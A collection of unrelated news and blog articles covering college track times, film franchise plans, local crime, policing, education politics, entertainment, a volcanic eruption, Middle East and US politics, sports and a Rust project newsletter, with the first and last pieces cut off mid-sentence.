6-mile at NCAAs).  It’s worth noting that CU’s Blake Theroux (who has no indoor eligibility and competed unattached) ran 4:00.84 on Saturday at UW (at the Husky Classic), then came back the next day and tried again at the UW Indoor Open and ran 4:00.71. Tough luck for him, not getting under.  ##  Speaking of distance powers, Oregon’s got three sub-4 milers this year and a new school record of 3:56.43 (Edward Cheserek at Millrose) but that time would only be #3 all-time at Montana State.  Montana State’s Cristian Soratos went into last weekend with a 4:05.18 mile pb (3:43.73 1500 pb), but left with a 3:55.27 pb after running the NCAA leader in Washington. Amazingly, Soratos’ 3:55.27 pb will be only listed as the #2 time on the Montana State website as Pat Casey ran 3:59.76 in Bozeman, Mont., in 2011 (elevation: 4,820 ft), which converts to a 3:54.59 at sea level. Before you think the sea level conversions are absurd, please realize that the NCAA converted Soratos’ 4:05.18 to 3:56.87 (giving him time for having done it both at 4,820 feet of altitude and on a flat track; when Casey ran his time, the track was banked) much to the chagrin of quite a few messageboard posters, who thought the conversion was far too generous. Soratos showed the conversion has merit with his 3:55.27.  The conversions have merit but we know one thing, school records should list the absolute fastest time run. Soratos should be the school record holder at Montana State.  More: MB: Soratos (Montana State University) Runs 3:55.xx!  *January: MB: Cristian Soratos MSU – Runs 3:56 mile  ##  The sub-4 talk for HSer Grant Fisher will die down for a little bit as he was just third in a college mile in St. Louis last weekend in 4:06.72.  More: MB: Grant Fisher 3rd in 4:06.72 *Video  ##  Lastly, we do have to point out one thing. Ole Miss has zero sub-4 guys.  Why did we point that out? Well Ole Miss has had a great year in 2014-15. They made NCAA XC for the first time in the fall and then when they had five guys run 4:05 or faster in January, one messageboard poster got carried away and asked, Ole Miss – Best mile school in the country?  ###  On the women’s side, the biggest significant pb of the weekend went to Florida State’s Colleen Quigley, who ran a 5+ second pb of 4:29.67 in the mile at BU (previous pb: 4:34.80) to move to #1 in the NCAA (and #5 all-time).  More: MB: Florida State’s Colleen Quigley runs 4:29.67 in mile at BU!! Moves to #5 in NCAA history.  Wanamaker Mile Men: Centrowitz Wins Wanamaker Mile In Thrilling Stretch Run Over Willis As Year Of Lagat Continues  Wanamaker Mile Women: A Wobbly Shannon Rowbury Hangs On To Win Women’s Wanamaker By Over 3 Seconds  ****  Photo of The Week  Since we are talking about the mile, might America have selected its first 2040 Olympic 1500 runner?  More: Did America Just Get Itself a Gold-Medal Contender in the 1500 at the 2040 Olympics? Wife of 2012 Olympic 1500 Bronze Medallist Abdelaati Iguider Gave Birth To A Son, Mohamed Mourad Iguider, On Friday in Philadelphia  ****  Recommended Reads  Bob Hersh Responds To USATF Board’s Memo That He Claims “Contains Many Incorrect And/Or Misleading Statements” You can discuss Hersh’s memo here.  * RunnersWorld: USATF Versus Its Critics: Who’s Off Track?  NY Times: “Forget Barefoot; New Trendsetter, If Not Pacesetter, Is Cushioning” Articles on Hoka One One running shoes and the new “maximalist” shoe fad. Includes quotes from Leo Manzano and Lauren Fleshman.  Kenyan 2:34 Marathoner Hyvon Ngetich Crawls To 3rd Place In The Austin Marathon; RD Is So Inspired Gives Her Runner-Up Prize Money (includes video) She was winning by a good margin, but collapsed around 2-blocks from the finish and crawled the rest of the way, refusing a wheelchair that was offered to her. The race was won by Cynthia Jerop in 2:54:22. The race director awarded Ngetich the 2nd place prize money despite her 3rd place finish.  Extensive Interview With US Miler, Jim Beatty, The First Person To Run A Sub-4:00 Mile Indoors Beatty ran 3:58.9 on February 10, 1962, a little less than eight years after Roger Bannister ran the first sub-4:00 mile outdoors.  ****  Quote of The Day and Last Week’s Home Pages  To see the quotes of the day from last week or last week’s homepage or any homepage, go to our archive page.  ****  That is it, if you were gone over the weekend. We had extensive coverage and analysis of the 2015 NYRR Millrose Games when it took place.  Questions, comments, please email us or post them in our running fan forum.
-As Sony prepares to unleash The Amazing Spider-Man 2, producers Matt Tolmach and Avi Arad are busy plotting the expansion of the studio’s Marvel franchise with spin-off movies for The Sinister Six and Venom, and during a chat with SFX the duo have revealed a little about their plans to develop a fully-fledged Spidey movie universe.  “It’s a challenge in every sense,” said Tolmach with regards to The Sinister Six. “Obviously questions of traditional hero/villain dynamics have to be looked at. At the same time it’s an awesome challenge, because some of the greatest characters are in fact villains, and how you construct that is so much fun. People love those bad characters if they’re good bad characters, and love to watch them. And nobody’s all good, nobody’s all bad, and so where we end up with that story, I think, is a really awesome challenge, and we all smile when we think about what you can do. It’s definitely a bad-ass group of people and I think it’s going to be a ton of fun to watch them.”  Meanwhile Arad offered a few thoughts on Venom and how they plan to position the fan favourite as an antihero: “Venom hated only one guy – Spider-Man. He wasn’t innately bad, he was a shortcut guy, not really into fighting hard for achievement. That’s the Venom story. Can he also be a good guy? As you know, Venom was also called ‘lethal defender of the innocent’. We had a great history with him, especially caring for the homeless, which is a very sensitive issue and something that many of us are very concerned with. Our villains all represent a different side of the misunderstood, and some of them unfortunately turned to the dark side. Venom happened to be a phenomenal character. With Eddie Brock, or if you do Flash Thompson, it doesn’t matter who is going to be inside the suit – what’s important is that a man like him is going to realize there comes a time when you wake up in the morning and say ‘How did I get here? There must be a better way.'”  It’s still early days for both movies, with Drew Goddard (The Cabin in the Woods) busy writing The Sinister Six and Alex Kurtzman, Roberto Orci and Jeff Pinker (The Amazing Spider-Man 2) working on Venom. Meanwhile the franchise will continue with the release of The Amazing Spider-Man sequel, which swings into cinemas on April 18th in the UK and May 2nd in the States, followed by The Amazing Spider-Man 3 in 2016 and The Amazing Spider-Man 4 in 2018.
-Please enable Javascript to watch this video  WHEAT RIDGE, Colo. -- A 10-year-old service dog had one of her legs amputated after being shot while defending her owner during an assault at a motel last week, the Wheat Ridge Police Department said Friday.  A male and a female broke into an occupied room at the American Motel near Kipling Street and Interstate 70 about 11:30 p.m. on Nov. 10, police said.  The male suspect allegedly assaulted one of the victims with a handgun. The victim's service dog Nalla was shot while defending her owner, police said.  The suspects stole some personal belongings, then fled the motel, police said.  Nalla was found in the parking lot by Wheat Ridge officers and taken to a veterinarian. She survived, but lost one of her legs. Nalla is recovering well, police said.  Police posted photos of the suspects to their Facebook page in the hopes of capturing them.  Anyone who can identify either of the suspects is asked to call police at 303-237-2220.  A GoFundMe page has been set up to help pay for Nalla's recovery.
-Adam Halverson is fast becoming the most recognizable police officer in Lino Lakes.  From July 1 to Aug. 27, he made 535 traffic stops in the north metro city of 21,000. That’s two more than the rest of the 25-officer department combined made in the same period.  If he keeps up that pace, Halverson, the city’s dedicated DWI enforcement officer, will have pulled over the equivalent of 15 percent of the city’s population in a year’s time.  During the same period, he issued 261 citations, arrested 22 suspected drunken drivers and made two drug busts. In a single 12-hour shift, he makes 10 to 30 stops. He heavily patrols Lino Lakes’ Main and Birch streets, as well as part of Interstate 35W and 35E, where they converge.  “It’s pretty remarkable. He grew up around here, and he lives around here. He cares for this community,” said his boss, Deputy Director of Police Kelly McCarthy, who said even she is more careful driving, knowing Halverson is patrolling the streets.  And that’s the point. For every traffic stop logged, dozens of other motorists driving by those flashing squad lights ease up on the gas or put down the smartphone.  "That visibility reduces crime," Lino Lakes police officer Adam Halverson said. "It makes the roads safer for everyone."  “That visibility reduces crime,” Halverson said. “It makes the roads safer for everyone out there. The driving public slows down and watches their driving, which reduces the total number of crashes.”  Anoka County has the dubious distinction of being a hotbed for drunken driving. From 2010 to 2014, it recorded 18 drunken-driving-related fatalities and 6,875 DWI arrests, according to the Minnesota Department of Public Safety. It ranks second in the state for alcohol-related traffic deaths and serious injuries, after Hennepin County.  Lino Lakes, Coon Rapids and the Anoka County Sheriff’s Office all have received federal dollars for an officer dedicated to drunken-driving enforcement. The grants cover the salary of the officer, plus the cost of a squad car and other traffic safety equipment.  In Coon Rapids, dedicated DWI enforcement officer Adam Jacobson has made 30 of the department’s 70 drunken-driving arrests since June 1.  “It makes a big difference to have a dedicated DWI officer,” said Coon Rapids Police Capt. Jon Urquhart. “One out of every five people involved in a fatality are impaired, whether it’s alcohol or drugs. We get an officer solely dedicated to keeping people safe.”  The power of the traffic stop  Increased DWI and traffic law enforcement annoys some folks, but in the suburbs, dangerous driving is what bothers people the most.  “The number one complaint [the city police department gets] is traffic — speeding, passing on the shoulder, reckless and careless driving,” McCarthy said.  And she has a quick response to the question speeders often ask: “Don’t the police have anything better to do?”  “How do you think you catch murderers or rapists? Traffic stops,” McCarthy said.  Increased traffic patrols also could be deterring thieves. As the number of traffic stops climbed this summer, the number of thefts, including of motor vehicles, dropped from 56 in June to 31 in July to 17 in August, according to McCarthy.  “While we are not 100 percent sure there is a direct correlation, it is certainly good news,” she said.  Lino Lakes Mayor Jeff Reinert said he’s been happy to tap into federal dollars to help improve safety.  “This position is a new program for our city, and so far I have heard that Officer Halverson is doing a great job,” Reinert wrote in an e-mail. “Statistically, traffic stops [are] how criminals are caught. When they come into Lino Lakes, we now have a new program to catch them before they have a chance to do any harm.”  Halverson, who previously was a school resource officer, requested the traffic assignment. He said he got a taste for doing traffic stops at his first job with the Bayport Police Department, where there was time to work traffic because emergency calls were infrequent and sporadic. The Centennial High School graduate joined his hometown police department in 2001.  The most common offenses he sees are passing on the shoulder, speeding and failing to wear a seat belt.  Lino Lakes police officer Adam Halverson stopped a truck and wrote up a citation by hand.  One emerging trend that’s surprising police: the number of highly intoxicated drivers caught in the early evening hours. “It’s the happy hour crowd, which we did not expect at all,” McCarthy said.  Halverson said all but two of his drunken-driving arrests occurred between 5 and 10 p.m.  “I was surprised, too,” he said.
-In a full-page advertisement in the Sunday October 23, 2016 edition of the Los Angeles Times, the union representing Los Angeles teachers, challenged the California Charter Schools Association (CCSA) to a "public debate on key educational issues relating to equity, access and accountability." United Teachers Los Angeles (UTLA) also posted the challenge in Spanish in Hoy and La Opinion.  The advertisement, written as an open letter to parents, attacks CCSA for "indefensible tactics, such as trying to shield charters from financial accountability and lobbying to defeat a bill protecting charter students from unfair expulsion."  According to Alex Caputo-Pearl, UTLA President. "We believe it is time for the community and parents to hear CCSA explain why they oppose financial transparency, student equity and access, open meeting laws and a democratically elected oversight body in schools that are funded by taxpayers. While charter schools use taxpayer money, they are privately run. This has led to documented cases of financial malfeasance, self-dealing and profiteering."  Groups associated with the California Charter Schools Association (CCSA) are pouring money into legislative campaigns trying to elect a pro-charter majority in California. According to California's Secretary of State pro-charter forces spent more than $3 million on contested races. More than $1 million is being used to influence voters in just one state senatorial district. According to Colin Miller, acting Senior Vice President for Government Affairs at the CCSA, the group's top legislative priority is to make it easier to open new charter schools and expand existing schools.  With support from private philanthropy, the number of charter schools in the L.A. Unified school district has exploded to 225, the most in any American school system, attracting about 16% of enrollment. Many educators in traditional schools worry that this expansion could force L.A. Unified into bankruptcy, hurting public school students.  CCSA is a lobbying organization for the charter industry. UTLA charges that it "promoted an environment that is rife with discriminatory enrollment practices and biases against special needs students and English language learners at many charters across the state."  CCSA is funded by Eli Broad, the Waltons of Walmart, and other wealthy privatizers. CCSA and its Super PAC spend millions each year to promote the unchecked expansion of charter schools at the expense of neighborhood schools and the public education system.  Charter school operators in Los Angeles have recently come under fire from elected oversight agencies. On Oct 18, the Los Angeles Unified School Board refused to renew operating agreements for five charter schools, three campuses operated by Magnolia Public Schools and two others run by Celerity Educational Group. Some district officials were concerned with Magnolia's past practice of importing teachers from Turkey with their families and using taxpayer funds to pay their immigration fees. Magnolia officials also have ties to a controversial Turkish cleric implicated in a failed coup in Turkey last summer.  Other Los Angles charter schools have also been in trouble recently. Alliance College-Ready Public Schools (Alliance), the largest charter school chain operating in Los Angles, California faces an investigation for using public funds to while trying to defeat a teacher-led union drive at its schools. State Senator Tony Mendoza (D), who initiated the move against Alliance charged, "The purpose of those funds is to educate children inside the classroom -- not to intimidate teachers and parents." The LAUSD Board is now pushing for the resignation of the executive director of El Camino Real Charter School for misuse of school funds. In spring 2016  In spring 2016 The Los Angeles Times published a list of the 100 lowest performing high schools in Los Angeles County based on student performance on SAT tests. Eight of the ten worst performing schools, including one that has already been closed, were charter schools. This included the Animo Locke Charter High School #1 operated by the Green Dot Corporate Charter Schools chain whose founder, Steve Barr wants to run for mayor of Los Angeles in 2017 based on his record of educational "success."  The advertisements are part of UTLA's "We Are Public Schools" campaign to hold charter schools accountable and to fight to build community schools. The campaign web site includes a petition to get CCSA to debate UTLA representatives in a public forum.  Carol Burris, Executive Director of the Network for Public Education, and Valerie Strauss have produced a four-part in-depth expose of problems with California charter schools for the Washington Post. Among other findings, the South California branch of the ACLU and a group called Public Advocates charge that more than 20% of California charter schools have enrollment policies that violate state and federal law.
-Creed Bratton of 'The Office' proud of his 'cult following'  'The Office' gave his music and acting careers a big promotion  Some of those details are true both of the actor and character. Creed Bratton is the actor's name. And the real-life Bratton, like the Dunder Mifflin worker, had been a hippie, went through financially difficult times and created great music as a member of the 1960s pop-rock group The Grass Roots.  Bratton will separate fact from fiction, as well as play music from "The Office" and the six solo discs he released since leaving The Grass Roots, when he performs 7:30 p.m. Sunday at Sellersville Theater 1894.  "The Creed character has got this cult following," Bratton says in a phone call from California. "The college kids just love this guy. I hope sometimes they're not too disappointed to find out I'm actually an actor playing him."  Bratton says fanatics aren't likely to be disappointed with the live show. "I will bring him out on stage to annoy the people, for sure," he says with a laugh. "I tell them how to be Creed, basically. How to Creed-up their life a bit, you know? Creed-ify their existence."  Bratton says the show will be a "Samuel Clemens-y, hopefully humorous" series of anecdotes about his life, from "all the crazy stuff I went through before The Grass Roots even happened, then The Grass Roots, then all the very down periods — which there's always humor in that, too."  He'll talk about "The Office," the mockumentary show that became a cultural phenomenon, ranked atop many critics' lists, and won four prime time Emmy Awards, including Outstanding Comedy Series in 2006. He'll punctuate each tale with a song.  If the stories are anything like the real Bratton's life, they're sure to be interesting.  Bratton, 71, became a professional musician during his college years, and played throughout Europe before forming The 13th Floor in 1966.  A year later, producers/songwriters P.F. Sloan and Steve Barri were scrambling to find a band to play songs they recorded themselves as The Grass Roots, including the hit "Where Were You When I Needed You." The 13th Floor became The Grass Roots.  Bratton's group lost its bassist to the Vietnam War draft and brought in new vocalist Rob Grill, who sang on the group's biggest hits, "Live For Today" and "Midnight Confessions." Bratton recorded four albums, appeared on "American Bandstand" and toured with The Grass Roots as it set a record for most continuous weeks having a song on the charts.  But Bratton says he became disillusioned when producers chose to have famed Los Angeles studio musicians The Wrecking Crew play on the albums rather than the real band. The iconic guitar riff on "Let's Live for Today," for example, was Sloan's, Bratton says.  "The other guys were fine with it; I was not fine with it," Bratton says. "Because I play, I'm an artist. It's not the ego as much as it's, 'Hey, this what I do,' and I take pride in it. So c'mon. So anyway, that was the big bone of contention why I left the group, basically."
-The Daily Times, Augusta Liddic/AP Ricky Gilmore, 49, shows the pair of pants he was wearing when he dragged himself four miles down a road for three days last week near Tocito, N.M. after a man and woman he met while he was hitchhiking left him without his wheelchair, Tuesday, Oct. 23, 2012 in Farmington, N.M.  When Ricky Gilmore recovered, he realized he had been flung out of a truck by a couple whom he had wanted to invite home for steaks.  Gilmore, who lost the use of his legs in a car accident 19 years ago, was hitchhiking from his home in Newcomb, N.M. to a liquor store in the nearby town of Shiprock, when a couple pulled over to give him a ride. He remembered the man to be in his mid-20s, with cursive writing tattooed on his neck. The woman looked plump and 20 years older than her male companion, he later told the Farmington Daily Times. Gilmore says they dropped off his wheelchair at his house, where he’d offered to make them dinner, and then went for a joyride — which is where things turned ugly.  The couple became angry after Gilmore refused to share his alcohol. The tattooed man grabbed Gilmore by his paralyzed legs and tore him away from the truck, abandoning him on a rarely used road in the New Mexico desert.  Gilmore began to scoot himself with his hands and hips across the scrubland. When the temperature plunged overnight, he shelterd behind a bush from the desert winds.  Gilmore spent the entire next day dragging himself along the road. Twice, cars passed him by, but the drivers did nothing but honk at the 49-year-old as he waved for help.  He woke up sore and dejected after another night in the desert. There was no water, no food, no one.  “I could have easily gave up and said forget it, but I said I’m not going to freeze out here and I just kept on going,” Gilmore later said to the Associated Press. Which is what he did — dragging himself an estimated four miles from where he was abandoned until a man in a blue pickup spotted him and called an ambulance.  The doctors at Northern Navajo Medical Center in Shiprock found Gilmore’s wrist sprained and the flesh of his left leg and buttock cut to ribbons. The exertion and lack of water had left him with acute kidney failure. Holes riddled his jeans and shirt from days of rubbing against dirt and rock.  Gilmore said he has successfully hitchhiked for 19 years, but from now on, he will take a break from getting a ride from strangers.
-The Nevado del Ruiz volcano, pictured on January 3, 2015, erupted in an ash cloud on Sunday, prompting authorities to temporarily close two airports in the area (AFP Photo/Santiago Osorio)  Bogota (AFP) - Colombia's Nevado del Ruiz volcano erupted in an ash cloud on Sunday, prompting authorities to temporarily close two airports in the area.  The civil aeronautics agency said it closed airports at Manizales and Pereira as a precaution after the 8:30 am (1330 GMT) eruption.  This resulted in the cancellation of at least 16 flights on Sunday.  A major eruption of the Nevado del Ruiz in 1985 melted the volcano's snowcap, unleashing mudslides that wiped out the town of Armero, killing an estimated 23,000 people.  The volcano, which has been active for an estimated 150,000 years, is 220 kilometers (137 miles) west of Bogota.
-The overwhelming majority of Israel’s political, military and intelligence leadership reportedly believes the time is not ripe for an Israeli military attack on Iran’s nuclear facilities, and shares the assessment that an Israeli strike would, at best, merely set back rather than destroy the Iranian program.  While Prime Minister Benjamin Netanyahu has indicated that a decision on striking Iran will be made in the next few months, and his Defense Minister Ehud Barak said last week that it was time to gear up to put the Iranian program to “a decisive end,” this assessment is not shared by President Shimon Peres, the chief of staff of the Israeli army and his predecessor, the head of the Mossad intelligence service and his predecessor, at least five of the most senior ministers in the government and the leader of the opposition, Kadima party chairman Shaul Mofaz, respected Israeli media analysts said Saturday night.  The issue is headline news because the former head of the Shin Bet domestic intelligence service, Yuval Diskin, on Friday publicly branded Netanyahu and Barak as “unfit” to lead the country in confronting the Iranian nuclear threat, and wrong in their approach to the danger, sparking a political firestorm.  Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up  Diskin served for six years as Shin Bet chief until a year ago, and so worked closely with the two leaders in whom he said he has “no faith.” Working alongside him, as head of the Mossad, was Meir Dagan, a lifelong intelligence veteran who has repeatedly warned against the “stupid” notion of Israeli military intervention at this stage. According to Emmanuel Rosen, a respected analyst for Channel 10 news, Gabi Ashkenazi, the IDF’s chief of staff until last year, “essentially shares” Diskin’s assessment.  Peres, Netanyahu’s deputy prime ministers Moshe Yaalon, Silvan Shalom and Eli Yishai, as well as other top ministers Dan Meridor and Benny Begin, also feel this is not the time to strike at Iran, Rosen said on Saturday night, adding that the consequence would be merely to set the Iranians back a little, while ostensibly legitimizing a subsequent accelerated push by Tehran to the bomb.  Alon Ben-David, the TV station’s military analyst, who has been given wide access of late to the Israeli Air Force’s training for a possible attack, said Saturday night that the current chief of staff, Benny Gantz, also opposes an attack at this juncture, as does the current Mossad chief, Tamir Pardo.  “No decision has been taken to attack Iran,” Ben-David said. But he added that the “window of opportunity” was this summer — after the next round of talks between Iran and the P5+1 powers, at which Iran, he said, would presumably give “an unsatisfactory response” to Western demands for the guarantees and openness necessary to ensure that it was not pursuing, and would not pursue, a nuclear weapons program.
-GOP hopeful Mitt Romney found himself backtracking during the second presidential debate after moderator Candy Crowley challenged his assertion that President Barack Obama had not referred to recent attacks on Americans in Libya as terrorism.  “The day after the attack, governor, I stood in the Rose Garden and I told the American people and the world we are going to find out exactly what happened, that this was an act of terror and I also said that we’re going to hunt down those who committed this crime,” Obama explained following Romney’s suggestion that the president had been more concerned with fundraising than national security after the death of U.S. Ambassador Christopher Stevens.  “I think it’s interesting that the president just said something, which is on the day after the attack he went in the Rose Garden and said that this was an act of terror,” Romney replied. “Is that what you’re saying? I want to make sure we get that for the record because it took the president 14 days before he called the attack in Benghazi an act of terror.”  “Get the transcript,” Obama insisted.  “He did, in fact, sir,” Crowley pointed out to Romney.  “Can you say that a little louder, Candy?” the president asked Crowley as the audience applauded.  “He did call it an act of terror,” the moderator agreed. “It did as well take two weeks or so for the whole idea of there being a riot out there about this tape to come out.”  “The administration indicated that this was a reaction to a video,” Romney said, rephrasing his attack with a slight stutter. “It took them a long time to say this was a terrorist act by a terrorist group. And — and to suggest — am I correct in that regard?”  “I want to move you on,” Crowley told the candidates. “People can go to the transcripts.”  Watch this video from CNN, broadcast Oct. 16, 2012.
-FILE PHOTO - The Ford logo is pictured at the Ford Motor Co plant in Genk,Belgium December 17, 2014. REUTERS/Francois Lenoir/File Photo  (Reuters) - Ford Motor Co (F.N) said on Wednesday it was recalling about 91,000 vehicles worldwide to replace faulty fuel-pump parts that could potentially cause a car to stall without warning.  Ford said it would replace fuel-pump control modules in about 88,151 vehicles, including certain of its 2013-15 model year Ford Taurus sedans, Ford Flex crossover utility vehicles, Lincoln MKS sedans, Lincoln MKT SUVs and Ford Police Interceptor sedans. (ford.to/2bOOxjg)  The company also said it would recall about 2,472 Ford Transit vans to replace fuel-injection pumps in certain models manufactured in the year 2015-16.  The carmaker said it was additionally recalling 23,150 Ford Escape SUVs of 2017 model year to update power-window software.  Ford said is was not aware of any accidents or injuries associated with the issues.  (This version of the story has been corrected to say the recall is ‘worldwide’, not just in ‘North America’)
-Ohio State lost to Michigan State to put its Big Ten East and College Football Playoff chances on life support, due in part to a weak offensive performance. Oddly, star running back Ezekiel Elliott only got 11 carries, and he railed on his coaches for that in the postgame press conference.  In case you were wondering if Zeke Elliott was being taken out context or something. https://t.co/c7DopZmPOK pic.twitter.com/RwXRJuHAzy — Matt Hinton (@MattRHinton) November 22, 2015  Elliott: "I deserve more than 11 carries. I really do. I can't speak for the playcaller. I don't know what was going on." — Dan Wolken (@DanWolken) November 22, 2015  #Buckeyes running back Ezekiel Elliott:"coaching staff didn't put us in position to win. That's a team (Michigan State) we should beat." WOW — Rick Pizzo (@BTNRickPizzo) November 22, 2015  Elliott was so upset that he claims he's not coming back to Columbus for his senior season.  Ezekiel Elliott: "Honestly, that was my last game at the Shoe. There's no chance I'm coming back next year." — Austin Ward (@AWardESPN) November 22, 2015  Enjoyed my last buckeye walk. Gonna miss all the fans who had a couple too many trying to break my hand with the high fives — EzekielElliott#⃣1⃣5⃣ (@EzekielElliott) November 22, 2015  Cardale Jones also announced that he's leaving this year. Ohio State still has a regular season game to play at Michigan. For his part, OSU linebacker Darron Lee seemed to agree with Elliott.  Truth hurts like this loss bruh https://t.co/ydJPKfCGKX — Darron Lee (@DLeeMG8) November 22, 2015  To be fair to Ohio State's coaches, Elliott's health could have been a perfectly legitimate reason why he didn't get more carries.  Elliott had a leg infection and was in the hospital for three days this week. Said he was depressed, didn't think he'd play, was crying. — Ryan Lewis (@RyanLewisABJ) November 22, 2015  Here's the video.  * * *  SB Nation presents: Baylor and Michigan State highlight explosive Week 12
-Former Liverpool player Didi Hamann has told current manager Jurgen Klopp to "stop protecting" Daniel Sturridge and to give the fans the truth about the injury-prone striker's continued absence.  “The club has got a responsibility to tell the paying public what is wrong with him. If he has got a hamstring injury, an ankle injury, or whatever he may have, the people who pay for a season ticket have got a right to know what is wrong with him," Hamann told Talksport.  “Judging by the way Jurgen Klopp answered his questions [ahead of the Manchester United game], I don't think there is too much wrong with the player. If there is nothing wrong with him, it is more important to be honest and truthful with the paying public than to protect a player who has hardly played in the last 18 months, who seems to choose when he wants to play.  “He has got three years left on his contract and I don’t see any reason, if there is nothing wrong with the player, why the club should protect him.”  Hamann also recalled the time he spent alongside a young Sturridge hoping to break into the first team at Manchester City when, he claims, it was clear from a very early stage that Sturridge was not prepared to push his body to the limit.  “There was always something wrong with him on the Thursday or the Friday. His back, his hamstring, there was always something," Hamann said.  • 'Liverpool attempt to sign Barcelona's Tello'  “If you look at his record since he has played professional football he probably doesn’t average half the games a season - and it has got worse at Liverpool. I am not saying he is pretending to be injured, I’m not sure. But if he is injured, say it. Nobody knows what is going on with him.  “People have spent £800 or £1000 to watch Liverpool at home and sometimes even away, and the star player is not playing and nobody knows where he is. If there isn’t a problem with him, then it is time to stop protecting the player.”  Liverpool are ninth in the table after 22 games with Sturridge having started three of those. His best performance of the season came when he scored a brace in the 6-1 Capital One Cup win at Southampton at the start of December, but he has since managed only 28 minutes of action in any competition.
-MSNBC’s Keith Olbermann didn’t hold anything back Wednesday when he announced the news that the “delusional liar” Sen. Joe Lieberman (I-CT) was planning on retiring.  Lieberman, Connecticut’s state’s former Attorney General who rose to become the Democratic Party’s vice presidential nominee in 2000, spoke to reporters during a press conference and depicted himself as a victim of Washington’s modern brand of partisan politics.  “Along the way, I have not always fit comfortably into conventional political boxes — maybe you’ve noticed that — Democrat or Republican, liberal or conservative,” Lieberman said. “I have always thought that my first responsibility is not to serve a political party but to serve my constituents, my state, and my country, and then to work across party lines to make sure good things get done for them.”  “The end of the line for Joe Lieberman, self-described ‘moderate Democrat,'” Olbermann began his show by announcing. “Don`t let the delusional liar door hit you in the delusional liar butt on the delusional liar way out.”  “Tonight, goodbye, Joe Lieberman, and good riddance,” he later said.  The MSNBC host noted that in comparing himself to President John F. Kennedy, Lieberman had implied that today’s Democrats were either anti-civil rights, anti-growth or weak on defense.  “As far as his civil rights record, he was rightly praised for helping to repeal ‘don’t ask, don’t tell’ in the Senate,” Olbermann said. “Civil rights for Muslims on the other hand? Unlike JFK, Mr. Lieberman supported the American government tossing Muslim suspects into detention, denying them Miranda rights, seeking to strip even US citizens suspected of terrorism of their basic civil rights.”  “On tax policies, Mr. Lieberman, like Mr. Bush, supported taxing the rich at the lowest rates they could get, about half of the 65 percent rate favored by President Kennedy,” he noted.  “Mr. Lieberman’s standard formulation is that he was a Republican on foreign policy and Democrat on domestic, except for the estate tax, the Bush tax cuts, school vouchers, gay marriage, homeland security, the public option, the Medicare buy-in, privatizing Social Security, and tort reform. Did I leave anything off the list?” Olbermann asked Slate’s Dave Weigel.  “That was almost complete,” Weigel replied. “I think you might have left off in 2006, when Lieberman supported — opposed a bill in Connecticut that would have forced all hospitals to treat rape victims, even if they were seen to be ovulating. It was the Catholic hospitals were against it. He took the side of them. At the time he famously said, in Connecticut, it’s only a short ride to the next hospital, in case you are going to one of these hospitals that doesn`t allow you to get the treatment you need.”  “So OK, add that to the list and I think you have got a pretty comprehensive list of reasons why liberals do not like him,” he concluded.  This video is from MSNBC’s Countdown, broadcast Jan. 19, 2010.  — With earlier reporting by Sahil Kapur
-Hello and welcome to another issue of This Week in Rust! Rust is a systems language pursuing the trifecta: safe, concurrent, and fast. This is a weekly summary of its progress and community. Want something mentioned? Send me an email! Want to get involved? We love contributions.  This is the busiest week in This Week in Rust’s history, and the pull request queue isn’t getting any shorter. This is a mixed blessing: tons of work is getting done, but it takes forever to get merged.  What’s cooking on master?  89 pull requests were merged this week. This is the most pull requests merged in a week, ever. 10 1.0 issues were closed this week, and 0 opened.  Breaking Changes  Other Changes  New Contributors  Axel Viala  Craig MacKenzie  Douglas Young  Dylan Braithwaite  Ehsanul Hoque  Sterling Greene  Weekly Meeting  The weekly meeting discussed the Hash changes, debug assertions, and commit log administrivia.  This Week in Servo  Servo is a web browser engine written in Rust and is one of the primary test cases for the Rust language.  This week, we landed 15 PRs.  Notable additions  Sankha Narayan Guria made drawing a single line much more efficient in #1709  Lars Bergstrom removed the last of the @mut s not in script in #1712  s not in script in #1712 Junyoung Cho fixed up a bug where we were removing s in #1727  s in #1727 Youngmin Yoo added support for the  element in #1664  element in #1664 Keegan McAllister made use of the border box more consistent in layout in #1699  Peiyong Lin fixed up the naming of some of our flow methods in #1693  Simon Sapin refactored the cascade methods in #1706  methods in #1706 Adam Sinnett corrected the parent type names of Text, Comment, and PI types in #1702  Patrick Walton added some inlining that sped up flow contruction even more in #1602  New contributors  Peiyong Lin (lpy)  Adam Sinnett (quandrum)  Meetings  We did not have a meeting this week because of President’s Day in the US.  Announcements, etc
-Meet Mosab Hassan Yousef. He’s the son of Sheikh Hassan Yousef, one of the founders of Hamas. He’s now an evangelical Christian , living in the U.S. after being granted political asylum , and a former operative with Shin Bet, a branch of Israeli intelligence, which led to his father disowning him back in 2010  In the letter, he said his family announced its "complete renunciation" of Mosab Yousef. The father said he was sorry to take such a step but said he had no choice after his son "disbelieved in God...and collaborated with our enemies," he said. The elder Yousef, who helped found the militant Islamic group two decades ago, was humiliated last year when his eldest son announced he had converted to Christianity. Then the son told an Israeli newspaper last week that he had helped Israeli intelligence foil militant attacks and hunt down Hamas leaders — including his father.  As the Gaza conflict rages on, Yousef appeared last this week on CNN with Don Lemon where he said, “Hamas doesn’t care about the lives of Palestinians. Does not care about the lives of Israelis or Americans. They don’t care about their own lives. They consider dying for the sake of their ideology a way of worship. And how can you continue in that society?”  Lemon asked if peaceful co-existence was possible with someone who wishes to see you destroyed.  Yousef was blunt:  Well, Hamas is not seeking co-existence and compromise. Hamas is seeking conquest and taking over. And, by the way, Israel – the destruction of the state of Israel is not Hamas’ final destination. Hamas’ final destination is building the Islamic Caliphate, which means an Islamic state on the rubble of every other civilization. These are the ultimate goals of the movement.
-Our new issue, on what a President Bernie Sanders could actually do in office, is out now. Subscribe today to receive it !  Just as the 2014 Argentine presidential race was getting under way, Ernesto Laclau was interviewed by the conservative La Nación newspaper. Asked about the prospects of neoliberal candidate Mauricio Macri, he replied, “He has the same odds of becoming the constitutionally elected president of Argentina as I do becoming the emperor of Japan.” Shortly after, Macri and his Cambiemos coalition pulled off a shock victory in the 2015 presidential race. This year, Cambiemos achieved another vital win in the August 12 primary elections. More than an election, the primaries represented a nationwide straw poll to gauge the general political mood. The largest takeaway lesson is that Cambiemos, with a firm hold on one-third of the electorate, is the nation’s minority-majority party of choice, while the remaining two-thirds in the opposition finds itself completely fragmented among a half-dozen competing parties. The Left now has to come to grips with a sobering reality: Argentina’s first democratically elected right-wing party has shown itself capable of becoming the nation’s majority political force. The results hit hardest in the camp of former president Christina Kirchner. Kirchner had gambled that, fragmentation notwithstanding, her candidacy in the Buenos Aires province was strong enough to run unopposed on her own platform and outside the Peronist political machine. Thus, focus was trained all last month on Argentina’s most populous region, with 40 percent of the electorate, where the race between Cambiemos’s conservative 